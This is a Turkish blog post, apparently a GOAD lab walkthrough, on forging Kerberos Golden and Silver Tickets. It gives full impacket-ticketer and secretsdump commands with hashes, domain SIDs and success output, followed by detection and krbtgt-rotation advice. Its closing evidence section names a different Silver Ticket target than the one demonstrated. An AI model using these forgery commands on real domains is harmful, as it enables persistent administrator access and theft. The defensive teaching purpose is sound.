---
title: "Kerberos Biletlerini Üretmek: GOAD'da Golden ve Silver Ticket"
description: "DCSync bize krbtgt hash'lerini ve servis hesabı hash'lerini verdi. Bunların asıl kullanım amacı buydu: tüm orman için bir Golden Ticket, tek bir SPN için bir Silver Ticket üretmek — parola bilmeden Administrator olarak giriş yapmak ve iki bilet türünün neden farklı olduğunu anlamak."
date: 2026-11-06
author: Sevban Dönmez (@jankesec)
canonical: https://jankesec.com/tr/yazilar/kerberos-ticket-forgery/
---

## Zaten elimizde olan hash'ler

Walkthrough serisinin sonunda `secretsdump` notlarımıza aslında hiç *kullanmadığımız* iki şey bıraktı: her domain'in `krbtgt` hash'i ve bir yığın servis hesabı hash'i. Biz ise cross-forest'a, AD CS'ye ve MSSQL'e geçtik. O hash'ler, masada bıraktığımız ana anahtarlardı.

Bu yazı o döngüyü kapatıyor. Bir Kerberos bileti, bir hesabın gizli anahtarıyla şifrelenmiş bir veri bloğundan ibarettir. Gizli anahtarı elinde tutuyorsan, KDC'den bilet istemek yerine kendi biletini üretebilirsin — *çalmak* ile *üretmek* arasındaki fark tam olarak budur. Çalmak mevcut bir bileti ele geçirmek demekken, üretmek KDC'nin hiç haberi olmadan geçerli görünen yeni bir bilet yaratmak demektir. Bu ayrım önemlidir, çünkü çalınan bilet eninde sonunda süresi dolduğunda işe yaramaz hale gelir; üretilen bilet ise anahtar değişmediği sürece çalışmaya devam eder.

## Golden Ticket: krbtgt ana anahtarı

`krbtgt`, domain'deki her Ticket Granting Ticket'ı imzalayan anahtara sahip olan hesaptır. Onun hash'ini elinde tutuyorsan KDC'ye hiç ihtiyacın yoktur — kendi TGT'ni imzalar, `Administrator` olduğunu iddia edersin ve imza eşleştiği için domain buna inanır.

Gerekli üç malzeme, zaten topladıklarımızdır:

1. `krbtgt` NTLM hash'i — [Bölüm 3](/tr/yazilar/sevenkingdoms-acl-chain/)'teki DCSync'ten.
2. Domain SID'i — herhangi bir `whoami /user` veya `impacket-lookupsid` çıktısından.
3. Hedef RID — yerleşik `Administrator` hesabı için `500`.

```bash
$ impacket-ticketer -nthash 72765225164f1b6542a3b0464aad363a \
    -domain-sid S-1-5-21-3291916993-3717649449-3745629854 \
    -domain sevenkingdoms.local Administrator
[*] Saving ticket in Administrator.ccache

$ export KRB5CCNAME=Administrator.ccache
$ nxc smb kingslanding.sevenkingdoms.local -k --use-kcache
SMB  kingslanding.sevenkingdoms.local  445  KINGSLANDING  [+] SEVENKINGDOMS.LOCAL\Administrator from ccache (Pwn3d!)
```

Parola yok, sıfırlama yok, KDC'ye hiçbir `AS-REQ` gitmedi. TGT'yi Kali üzerinde çevrimdışı ürettik ve Domain Controller kabul etti. O `Pwn3d!` çıktısı işin özetidir: `krbtgt` hash'i *domain'in ta kendisidir*. Bilet süresi dolmaz, hesap kilitlemesine takılmaz ve gerçek `Administrator` parolası değiştirildikten sonra bile çalışmaya devam eder — bu yüzden Golden Ticket öncelikle tek seferlik bir giriş değil, bir **kalıcılık** tekniğidir. Savunma açısından asıl zorluk da buradadır: parola değiştirmek gibi olağan müdahaleler bu bileti etkilemez; yalnızca `krbtgt` anahtarının kendisini döndürmek onu geçersiz kılar.

## Silver Ticket: aynı numara, tek SPN

Golden Ticket'ın zayıflığı aynı zamanda onu ele veren şeydir: bir engagement'ta en çok üzerine yazılan hash'tir ve `krbtgt`'yi döndürmek onu öldürür. Silver Ticket ise daha sessiz bir versiyondur. `krbtgt` ile TGT üretmek yerine, bir SPN'e sahip olan **servis hesabının hash'iyle** bir **servis bileti** üretirsin — bu bilet yalnızca o SPN'e kapsanmıştır, başka hiçbir şeye değil.

Elimizde zaten bir servis hesabı vardı: `MSSQLSvc/braavos.essos.local` SPN'inin sahibi `sql_svc`. DCSync bize hash'ini vermişti; gerisini `impacket-ticketer` yaptı:

```bash
$ impacket-secretsdump essos.local/daenerys.targaryen@192.168.56.12 \
    -hashes aad3b435b51404eeaad3b435b51404ee:34534854d33b398b66684072224bb47a -just-dc-user sql_svc
sql_svc:1119:aad3b435b51404eeaad3b435b51404ee:84a5092f53390ea48d660be52b93b804:::

$ impacket-ticketer -nthash 84a5092f53390ea48d660be52b93b804 \
    -domain-sid S-1-5-21-2405585222-1741672622-953379088 -domain essos.local \
    -spn MSSQLSvc/braavos.essos.local -user-id 500 Administrator
[*] Saving ticket in Administrator.ccache

$ export KRB5CCNAME=Administrator.ccache
$ impacket-mssqlclient -k -no-pass braavos.essos.local
SQL (ESSOS.LOCAL\Administrator  guest@master)>
```

Prompt hikâyenin tamamını anlatır: SQL Server üzerinde `ESSOS.LOCAL\Administrator` olduk; kimliğimiz `sql_svc`'nin hash'inden ürettiğimiz bir biletle doğrulandı. Ancak kapsam dardır — o bilet yalnızca `MSSQLSvc/braavos` için çalışır, `CIFS/meereen` veya başka bir servis için değil. Bu darlık aynı zamanda bir avantajdır: bilet yalnızca hedef serviste işe yaradığı için gereksiz yerlere erişim denemesi yapılmaz ve iz daha küçük kalır. Silver Ticket hassas ve sessizdir; Golden Ticket ise geniş ve gürültülüdür. Bu yüzden hangisini seçeceğin, ihtiyacın olan erişim kapsamına ve bırakmayı göze aldığın izlere bağlıdır.

<figure class="diagram">
<svg viewBox="0 0 760 220" xmlns="http://www.w3.org/2000/svg" role="img" aria-label="Golden ve Silver ticket karşılaştırması: Golden Ticket, krbtgt hash'i ve domain SID'i ile üretilir ve domain'deki her servise erişim veren bir TGT üretir; Silver Ticket ise tek bir servis hesabı hash'i ve tek bir SPN ile üretilir ve yalnızca o servise erişim verir.">
<defs><marker id="kt1" viewBox="0 0 8 8" refX="7" refY="4" markerWidth="7" markerHeight="7" orient="auto"><path d="M0,0 L8,4 L0,8 z" class="dg-arrow-crit" /></marker></defs>
<text x="0" y="16" class="dg-muted">KERBEROS BİLETİ ÜRETMEK · GOLDEN VS SILVER</text>
<rect x="0" y="40" width="360" height="140" rx="8" class="dg-box-danger" />
<text x="16" y="64" class="dg-label">Golden Ticket</text>
<text x="16" y="86" class="dg-mono dg-compact">anahtar: krbtgt hash</text>
<text x="16" y="104" class="dg-mono dg-compact">+ domain SID + RID 500</text>
<text x="16" y="124" class="dg-crit">TGT üretir → her servis</text>
<text x="16" y="144" class="dg-muted">kalıcılık · parola değişse de sürer</text>
<rect x="390" y="40" width="370" height="140" rx="8" class="dg-box-accent" />
<text x="406" y="64" class="dg-label">Silver Ticket</text>
<text x="406" y="86" class="dg-mono dg-compact">anahtar: servis hesabı hash</text>
<text x="406" y="104" class="dg-mono dg-compact">+ domain SID + tek SPN</text>
<text x="406" y="124" class="dg-accent">TGS üretir → tek SPN</text>
<text x="406" y="144" class="dg-muted">sessiz · krbtgt dönse de sürer</text>
</svg>
<figcaption>Aynı temel mekanizma, farklı anahtar: Golden Ticket <code>krbtgt</code> ile bir TGT imzalar ve tüm domain'i açar; Silver Ticket tek bir servis hesabının hash'iyle bir servis bileti imzalar ve tek bir SPN'i açar.</figcaption>
</figure>

## Tespit ve çözüm

**Tespit:** Üretilen bir bilet KDC'ye hiç uğramaz, bu yüzden yakalanacak bir `4769` kaydı yoktur — onu zor tespit edilir kılan da budur. İpucu, alışılmadık derecede uzun ömürlü bir TGT/TGS'dir (varsayılan Golden Ticket çoğu zaman 10 yıllık üretilir) veya gerçek bir `4768`/`4769` değişimiyle eşleşmeyen bir PAC'tır. Bilet kullanımını gerçek `AS-REQ`/`TGS-REQ` loglarıyla ilişkilendir: eşleşen bir isteği bulunmayan bilet üretilmiş demektir. Tek tek kayıtlara değil, biletin yaşam döngüsüne bakmak gerekir; çünkü üretilmiş bir bilet, kullanıldığı anda normal bir kimlik doğrulamasından ayırt edilemeyecek kadar temiz görünebilir.

**Kontrol:** `krbtgt`'yi **iki kez** döndür (önerilen kurtarma yöntemi), çünkü tek bir döndürme eski biletleri geçersiz kılmaya yetmez. İki döndürme arasındaki bekleme süresine de dikkat etmek gerekir; amaç, hâlâ geçerli olan eski biletlerin doğal olarak süresinin dolmasını beklemektir. Silver Ticket'ların ulaşamayacağın bir hash gerektirmesi için servis hesabı parolalarını sıkılaştır, bu hash'leri önbelleğe alan hostlarda **Credential Guard**'ı aç ve — bu serideki her şeyde olduğu gibi — `krbtgt` ile servis hesaplarını `Domain Admins`'i koruduğun gibi koru: onlar kapı değil, anahtardır.

## Özet

| Özellik | Golden Ticket | Silver Ticket |
| --- | --- | --- |
| Anahtar | `krbtgt` hash | tek servis hesabının hash'i |
| Üretir | TGT | servis bileti (TGS) |
| Kapsam | tüm domain | tek SPN |
| Hayatta kalır | admin parolası değişse de | `krbtgt` dönse de |
| Tespit | uzun TGT ömrü, eksik `4768` | eksik `4769`, kapsanmış SPN |

## Bu nereye oturuyor

Bu yazı, [Bölüm 3](/tr/yazilar/sevenkingdoms-acl-chain/)'teki DCSync ve [AD CS ESC1](/tr/yazilar/ad-cs-esc1-domain-admin/) zincirinin "hash'lerle ne yapılır" sorusuna verilen devam yanıtıdır. Aynı kulvardaki sonraki doğal duraklar: **pass-the-hash / overpass-the-hash** (hiçbir şey üretmeden aynı hash'lerle hareket etmek) ve **shadow copies / NTDS.dit** (tüm veritabanını DC'den çevrimdışı çekmek). Her biri, elindeki anahtar malzemesini farklı bir saldırı yoluna dönüştürür.

## Kanıt ve sınırlar

Hem Golden Ticket (`krbtgt` NT hash) hem de Silver Ticket (`cifs/castelblack.north.sevenkingdoms.local` için `CASTELBLACK$` servis hash'i) üretimleri izole GOAD laboratuvarı içinde doğrulanmıştır. Kullanılan tüm anahtarlar ve domain SID değerleri GOAD'ın sentetik dizin test verileridir; gerçek bir ortamda bu değerlerin ele geçirilmesi çok daha ciddi sonuçlar doğurur.

## Referanslar

- **Orange Cyberdefense, GOAD:** [orange-cyberdefense.github.io/GOAD](https://orange-cyberdefense.github.io/GOAD/)
- **The Hacker Recipes, Forged Kerberos Tickets:** [thehacker.recipes/ad/movement/kerberos/forged-tickets](https://www.thehacker.recipes/ad/movement/kerberos/forged-tickets)
- **HackTricks, Golden Ticket:** [book.hacktricks.xyz](https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/golden-ticket)
- **MITRE ATT&CK, Golden Ticket (T1558.001):** [attack.mitre.org/techniques/T1558/001](https://attack.mitre.org/techniques/T1558/001/)
- **MITRE ATT&CK, Silver Ticket (T1558.002):** [attack.mitre.org/techniques/T1558/002](https://attack.mitre.org/techniques/T1558/002/)
